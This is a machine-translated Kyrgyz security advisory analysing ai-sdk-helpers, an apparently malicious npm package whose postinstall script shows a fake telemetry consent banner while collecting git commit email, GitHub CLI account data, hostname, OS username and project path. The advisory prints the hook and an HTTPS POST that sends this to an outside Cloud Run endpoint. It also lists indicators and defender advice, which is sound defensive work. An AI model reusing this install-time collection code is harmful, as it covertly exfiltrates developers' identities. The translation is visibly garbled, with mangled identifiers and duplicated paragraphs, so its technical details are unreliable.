ConsentMask Иштеп чыгуучунун идентификациясын чогултууну жашыруу үчүн npm пакети

ConsentMask: Иштеп чыгуучунун инсандыгын чогултуунун үстүнөн телеметрия макулдугу баннерин тагынган npm пакети

TL; DR

Бир npm пакети, ai-sdk-жардамчылары, өзүн Vercel AI SDK үчүн өндүрүш куралдарынын топтому катары көрсөтөт, чыгымдарды көзөмөлдөөнү, провайдердин резервдик көчүрмөсүн жана агым жардамчыларын сунуштайт.

Анын орнотуу убактысынын скрипти төмөнкүнү сүрөттөгөн жылмаланган ачыктоо баннери менен башталат анонимдүү диагностика, эч кандай булак коду, токендер же ишеним грамоталары берилбей турганын убада кылып, а DO_NOT_TRACK баш тартуу жана телеметрия саясаты барагына шилтеме берүү.

Андан кийин ошол эле скрипт иштеп чыгуучунун git идентификаторун, GitHub CLI конфигурациясын, машинанын хост атын, ОС колдонуучу атын, жумушчу каталогду жана CI провайдерин окуйт.

Ал маалыматтар JSON катары Google Cloud Run акыркы чекитине ЖӨНӨТҮЛӨТ, бул көрсөтүлгөн телеметрия саясаты менен чогултулган чыныгы талаалардын ортосунда ачык дал келбестик жаратат.

Пакет жыйырма эки версияда бир 83 секунддук бир секунданын ичинде жарыяланган жана орнотуу скрипти ар бир белгиленген версияда байт сайын бирдей.

Биздин карап чыккан сегиз версиянын жетиси pipeline макулдук баннеринин стили мыйзамдуу телеметрия сыяктуу окулгандыктан, ML классификатору тарабынан жыйынтыксыз деп бааланган.

Биз классификациялайбыз ai-sdk-helpers орнотуу учурунда иштеп чыгуучунун идентификациясын чогултуу жана чыгарууга негизделген зыяндуу катары.

Оордугу: жогору.

 Орнотуунун анатомиясы

{   "scripts": {     "postinstall": "node scripts/postinstall.js"   } }

орнотуудан кийинки автоматтык түрдө иштейт npm орнотуу, пакеттин жарнамаланган кодунун бири импорттолгонго чейин. Скрипт скрипттер/постинстал.js орнотуу убактысынын бардык жүрүм-туруму жайгашкан жер.

Ал комментарий блогу жана купуялуулукка багытталган ачык булактуу долбоордун реестринде жазылган аткаруу убактысы жөнүндө эскертүү менен ачылат:

>Сиз ai-sdk-helpers орноткондо, биз тез арада чөйрөнүн шайкештигин текшерип, анонимдүү диагностика жөнүндө кабарлайбыз... Маалыматтар толугу менен анонимдүү — биз сиздин платформаңызды, Node версиясын жана машинаңыздын идентификаторунун бир тараптуу хэшин чогултабыз. Эч кандай булак коду, токендер же грамоталар эч качан берилбейт.

Ал тургай, файлдагы биринчи аткарылуучу код болгон иштөөдөн баш тартуу дарбазасын туташтырат:

if (   process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" ||   process.env.DO_NOT_TRACK === "1" ) {   process.exit(0); }

бул дарбазаны биринчи байлоо калганын макулдук катары окуйт: орноткон иштеп чыгуучу `D_NOT_TRACK` орнотуунун үнсүз аякташын көрөт жана пакет конвенцияны урматтайт деген жыйынтыкка келет. Ардактуу баш тартуу реалдуу. Аны орнотпогон ар бир адам үчүн ал төмөндө сүрөттөлгөн жыйнакты ачат — эскертмеде айтылган тар "платформа, Node версиясы жана бир тараптуу хэш" эмес.

Ал дарбазанын астында, скрипт ошол сүрөттөмөдөн алда канча ашып кеткен пайдалуу жүктү чогултат.

  • *Gинсандык.* rчечүүScmИдентификация()` баштар `~.gitconfig`,`~.config/git/config`,жана учурдагы долбоордун `.it/config`,талдайт `[сер]` бөлүмүн жана конфигурацияланганды кайтарат commit электрондук почта. Эгерде эч кандай конфигурация файлы электрондук кат бербесе, ал `G'ге кайтып келетT_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,жана `EАИЛ` айлана-чөйрөнүн өзгөрмөлөрү. Функциянын үстүндөгү docstring окууну "бир эле адамга таандык машиналардагы (мисалы, ноутбук + CI) кайталанма орнотууларды жок кылуу" жолу катары кадрлайт — бул ар бир иштеп чыгуучу үчүн туруктуу идентификаторду талап кылган белгиленген максат, ал commit электрондук почта материалдары.
  • *GtHub аккаунту.* rsolveGitHubIdentity()` баштар `~.config/gh/hosts.yml` жана `~.config/gh/hosts.yaml` иштеп чыгуучу аныктыкты текшергенде жана regex-`u файлын чыгарып алганда GitHub CLI тарабынан жазылган конфигурация файлыэр:` жана `eооруп:` талаалар. Ал файлда GitHub OAuth токени да сакталат; скрипттин регекси колдонуучунун атын жана электрондук почта саптарын атайын бутага алат жана токенди чыгарбайт. Ошондуктан, ачыкка чыгаруу баннеринин "эч кандай токендер... эч качан өткөрүлбөйт" деген дооматы ошол талаа үчүн түзмө-түз туура, ал эми айланадагы аккаунт идентификаторлору окулат жана жөнөтүлөт.
  • *Hst жана CI манжа изи.* андан кийин сценарий чогултат.хосттун аталышы()`,`o.userInfo().колдонуучу аты`,Node версиясы, платформасы жана архитектурасы, `pocess.cwd()`,жана сегиз провайдер үчүн чөйрө өзгөрмөлөрүн текшерүү менен чечилген CI-провайдер энбелгиси (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite жана эки жалпы CI желеги). Провайдерлердин тизмеси скрипттин кайда аткарылышын күтөөрүнүн инвентаризациясы катары окулат — интерактивдүү кабыктар жана автоматташтырылган куруу. pipelineокшош.

Булардын баары бир `d'ге топтоштурулганагностиктердин b объект, ар бир иштеп чыгуучу үчүн талаалар `i астында чогултулганбирдик` ey жана `r астындагы хост маалыматтарыубакыт жана `cntext` көздөр, андан кийин сериялаштырылып, өткөрүлүп берилет:

const req = https.request(   {     hostname: "npm-package-logger-228835561205.europe-west1.run.app",     path: "/",     method: "POST",     headers: { "Content-Type": "application/json" },     timeout: 5000,   },   () => {} );  req.on("error", () => {}); req.write(body); req.end();

жооп жокко чыгарылат жана бардык каталар жутулат — комментарийде "телеметрия эч качан орнотууну бузбашы керек" деп белгиленген. Акыркы чекиттин хост аты Google Cloud Run кызматын коддойтаркан-батыш1` аймак.

Ажырашуу – бул окуя. Баннерде маалыматтардын үч категориясы аталат — платформа, Node версиясы, машинанын идентификаторунун хэши. Пайдалуу жүктөм иштеп чыгуучунун чыныгы git жөнөтөт commit электрондук почта, алардын GitHub колдонуучу аты жана электрондук почтасы, алардын машинанын хост аты жана OS аккаунтунун аталышы, алардын долбоорунун жолу жана алардын CI чөйрөсү. *p белгисин аныктоочу талааларrson жана алардын эсептери* ачыктоодо алынып салынган талаалар так ошолорго тиешелүү.

README экинчи жагынан кадрлоону бекемдейт. Анын "Телеметрия" бөлүмү анонимдүүлүк дооматын кайталайт жана `D` сөзүн байланыштырат._NOT_TRACK` о `сnsoledonottrack.com`,баш тартуу келишимин документтештирген чыныгы коомчулук барагы — таанылган купуялуулукту карызга алуу standard билдирүүнү кадимкидей окуш үчүн.

Timeline

Бул абдан кыска жана абдан тыгыз басылма тарыхы бар бир пакеттен турган табылга. Көп жумалык өнөктүктүн изин табууга болбойт — бүтүндөй версиялардын диапазону машинанын ылдамдыгы менен жайылтылган.

Качан (UTC) окуя
2026-06-03 20:31:20 Биринчи версия (0.1.0) npm сайтына жарыяланган.
2026-06-03 20:31:20 – 20:32:43 Бардык 22 версия (0.1.0 аркылуу 1.4.2) 83 секунддук автоматтык түрдө жарыяланган.
2026-06-04 Сегиз версия аныктоо сигналдары менен белгиленген; кол менен талдоо орнотуу учурунда идентификацияны чогултууну жана чыгарууну тастыктайт. Пакет талдоо учурунда npm режиминде иштеп турган.

22 семантикалык версиядагы 83 секунддук терезе өзү жүрүм-турумдук көрсөткүч болуп саналат: версия баскычы (`01.0`,`01.1`,... `14.2`)бир скрипт менен иштетилген чыгарылыш тарыхы менен активдүү түрдө тейленип жаткан долбоордун бетин көрсөтөт. Орнотуу скрипти ал тепкич боюнча өзгөрбөйт — төмөндө караңыз.

Компромисс көрсөткүчтөрү

Орнотуу убактысынын жүктөмү жарыяланган версиялардын диапазонунда бирдей. A `dff` f`sripts/postinstall.js` `0 версиясынын ортосунда2.1` 1-версия4.2` эч кандай айырмачылыктарды кайтарбайт; жүрүм-турум бир туруктуу манжа изи, өзгөрүп турган пайдалуу жүктөм эмес.

тармак

22 семантикалык версиядагы 83 секунддук терезе өзү жүрүм-турумдук көрсөткүч болуп саналат: версия баскычы (`01.0`,`01.1`,... `14.2`)бир скрипт менен иштетилген чыгарылыш тарыхы менен активдүү түрдө тейленип жаткан долбоордун бетин көрсөтөт. Орнотуу скрипти ал тепкич боюнча өзгөрбөйт — төмөндө караңыз.

Компромисс көрсөткүчтөрү

Орнотуу убактысынын жүктөмү жарыяланган версиялардын диапазонунда бирдей. A `dff` f`sripts/postinstall.js` `0 версиясынын ортосунда2.1` 1-версия4.2` эч кандай айырмачылыктарды кайтарбайт; жүрүм-турум бир туруктуу манжа изи, өзгөрүп турган пайдалуу жүктөм эмес.

тармак

көрсөткүч ролу
npm-package-logger-228835561205.europe-west1.run.app JSON жүктөмдөрү менен HTTPS POST сурамдарын кабыл алган эксфильтрациялык акыркы чекит. Google Cloud Run'да жайгаштырылган europe-west1 обл.

Тузак инфраструктурасы

көрсөткүч ролу
ai-sdk.guide Пакеттин башкы бети жана "AI SDK Guide" авторунун инсандыгын колдогон түз эфирдеги сайт.
ai-sdk.guide/telemetry Орнотуу убактысы жөнүндө билдирүүдө көрсөтүлгөн телеметрия саясатынын URL дареги.
hello@ai-sdk.guide Автордун электрондук почтасы жарыяланган package.json.
github.com/ai-sdk-guide/ai-sdk-helpers Пакет тарабынан жарыяланган булак репозиторийи.

Орнотуу учурунда окулган файлдар

  • -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git`[сер]` почта
  • - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub CLI `uэр` `eоору

Жүрүм-турумдук белгилер

  • – м `птоктотуу` ook топтомдолгон Node скриптин чакырууда
  • – баш тартуу дарбазасы (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_NOT_TRACK`)инсандыкты чогултуудан мурун, купуялык функциясы катары сунушталат
  • – git email, GitHub идентификациясы, хосттун аталышы, OS колдонуучу аты, cwd жана CI энбелгиси камтылган JSON объектисинин tbound HTTPS POSTу
  • – тез жарыяланган версия баскычында бирдей орнотуу скрипти

 Атрибуция жана байкалган жүрүм-турум
Биз пакетте жана реестрдин метадайындарында жазылгандардан башка эч нерсеге маани бербейбиз.

Жазуунун npm жүргүзгүчү - бул эсеп `aэльсимон,дареги мененiel@vigilance.security`.Реестрде ал электрондук почта текшерилбеген, ал эми аккаунттун булак көзөмөлдөөчү идентификациясы текшерилбеген катары көрсөтүлөт.ckage.json`,өзүнчө, авторду “AI SDK колдонмосу” катары сунуштайтello@ai-sdk.guide>`”башкы бети менен-sdk.guide` жана `g' астындагы булак репозиторийиthub.com/ai-sdk-guide` уюму. Басма аккаунтунун электрондук почта домени (`vigilance.security`)жана пакеттеги автордун инсандыгы (`a-sdk.guide`)ар кандай домендер болуп саналат.

"а"-sdk.guide` ite иштеп жатат жана жооп берет, жана `/элеметрия ath чечилет — тузактын идентификациясы өлүк шилтеме эмес, жеткиликтүү веб катышуусу менен колдоого алынат, бул пакеттин алкагынын ишенимдүүлүгүн жогорулатат.

**Байкалган мүмкүнчүлүк.** Орнотуу учурунда пакет иштеп чыгуучунун идентификациясын жана аккаунт конфигурациясынын файлдарын окуп, хостту жана CI чөйрөсүн манжа изи менен аныктап, натыйжаны оператор башкарган акыркы чекитке жөнөтөт, ошол эле учурда тар жана анонимдүү маалыматтар топтомун сүрөттөгөн билдирүүнү көрсөтөт. Биз бул жүрүм-турумду сүрөттөйбүз; биз анын себебин ырастабайбыз. Пакетти баалаган окурмандар, анын ичинде жарыялоо идентификациясын тааныган ар бир тарап, көрсөтүлгөн жана чыныгы маалымат агымдарынын ортосундагы байкалып жаткан дал келбестикти таразалашы керек.

Коргоочулар үчүн таасир, тенденциялар жана көрсөтмөлөр

Ким ачыкка чыгат. Орноткон ар бир адам ai-sdk-жардамчылары — түздөн-түз же транзитивдик көз карандылык катары — коллекцияны ошол машинада иштетет. Анткени триггер орнотуудан кийинки, маалымат агымы ишке ашышы үчүн жарнамаланган китепкана коду эч качан импорттолбошу керек; орнотуунун өзү эле жетиштүү. Эң жогорку баалуу чөйрөлөр - бул конфигурацияланган git идентификатору жана аутентификацияланган GitHub CLI бар иштеп чыгуучунун жумушчу станциялары жана CI чуркоочулары, мында скрипттин CI-провайдерин аныктоо коллекциянын курулуштун ичинде иштеши күтүлүп жатканын көрсөтөт. pipelineошондой эле ноутбуктарда.

Ал эмнени ачыкка чыгарат. Жалпы учурда колдонмонун сырлары эмес — пайдалуу жүктөм борбордо окшоштук: иштеп чыгуучунун commit электрондук почта, алардын GitHub аккаунтунун аталышы жана электрондук почтасы, машинанын жана аккаунттун аталыштары жана долбоордун жолу. Бул алдын алаcisпакетти ким, кайсы машинага, кайсы репозиторийге жана кайсы CI системасынын астында орнотконун көрсөткөн электрондук карта. Уюм үчүн, мындай бир нече жазуулар чогуу алынганда, кайсы инженерлер жана кайсы куруучу системалар көз карандылыкты тартканын санап өтөт — бул пакеттин өзүнүн жүрүм-туруму чогултуу жана берүү менен токтоп калса да, максаттуураак кийинки иш-аракеттердин прекурсору катары пайдалуу.

Тренд: телеметрияны жабуу катары колдонуу. Мыйзамдуу иштеп чыгуучу куралдар анонимдүү орнотуу диагностикасын жана аны сый-урмат менен аткаруу үчүн эрежелерди чогултушат — ачыкка чыгаруу жөнүндө билдирүү, DO_NOT_TRACK урмат, баш тартуу желеги, саясат URL дареги — баарына белгилүү. ai-sdk-жардамчылары бул төрт конвенцияны тең так кайталайт жана аларды инсандыкты чогултуу үчүн таңгак катары колдонот. Макулдук баннеринин, иштөөдөн баш тартууну же купуялык саясатынын шилтемесинин болушу пакеттин ишенимдүү экендигинин далили эмес; бул башкаруу элементтерин туурап алуу арзан. Бир гана ишенимдүү текшерүү - бул код чындыгында эмнени окуйт жана аны кайда жөнөтөт.

Бул таңгактоо автоматташтырылган сорттоого да өлчөнүүчү таасир этет. Биздин бардык версияларыбызда pipeline каралып чыккандан кийин, орнотуу скриптинин жөнөкөй тилдеги комментарийлери, структураланган талаа аталыштары жана кадимки баш тартуу дарбазасы кадимки телеметрия катары бааланды: сегиздин жетиси кайтып келди чечкинсиз зыяндуу эмес, ML классификаторунан. Белгисиздикти чечүүчү сигнал прозада эмес — ал скрипт ачкан белгилүү файлдарда (~ / .gitconfig, ~/.config/gh/hosts.yml) жана ал жөнөткөн көздөгөн жерге. Ачыктоону окуп, ал жерде токтогон серепчи, автоматташтырылган же адам, туура эмес жыйынтыкка келет; чечим маалымат агымынын фактыларынан чыгышы керек.

Укук коргоочулар үчүн көрсөтмө:

  • Скрипттер демейки шартта өчүрүлгөн абалда орнотуу — npm орнотуу –скрипттерди этибарга албоо, же орнотуңуз ignore-scripts=true in .npmrc жана текшерилген куруу кадамдарын ачык түрдө иштетет. Бул нейтралдаштырат орнотуудан кийинки- жалпысынан чогултууну ишке киргизди.
  • Баш тартууну башкаруу элементтерин ишеним сигналдары катары кабыл албаңыз. A DO_NOT_TRACK текшерүү же "телеметрия саясаты" шилтемеси дарбаза орнотулбаган учурда скрипт чогулткан маалыматтар жөнүндө эч нерсе айтпайт.
  • AI экосистемалык жардамчы пакеттерин кабыл алардан мурун орнотуу боюнча нускаманы окуп чыгыңыз. Vercel AI SDK мейкиндиги тез өзгөрүп турган, жогорку ишенимдүү максат болуп саналат; орнотуудан кийинки тийген нерсе ~ / .gitconfig or ~/.config/gh/ айланасындагы комментарийлер кандай жазылганына карабастан, ачык белги болуп саналат.
  • Курулуш убактысынын чыгышын көзөмөлдөө. Чыгуучу HTTPS POST учурунда npm орнотуу, айрыкча жаңы камсыздалган булут функциясынын акыркы чекитине, тармактык деңгээлде байкалат жана CI чөйрөлөрү үчүн күчтүү аныктоо чекити болуп саналат.
  • Кысылган версиялардын баскычтарына көңүл буруңуз. Семантикалык версиясынын толук тарыхы бир нече секунданын ичинде пайда болуп, өзгөрүүсүз орнотуу скрипти менен кошо пайда болгон пакетте өндүрүлгөн техникалык тейлөө тарыхы көрсөтүлүүдө.
sca-tools-программалык-композициялык-талдоо-куралдары
Программалык камсыздооңуздун тобокелдиктерин артыкчылыктуу деп эсептеңиз, оңдоңуз жана коопсуздугун камсыз кылыңыз
Акысыз аккаунтуңузду алыңыз.
Насыя картасы талап кылынбайт.

Программалык камсыздоону иштеп чыгууну жана жеткирүүнү камсыз кылыңыз

Xygeni Product Suite менен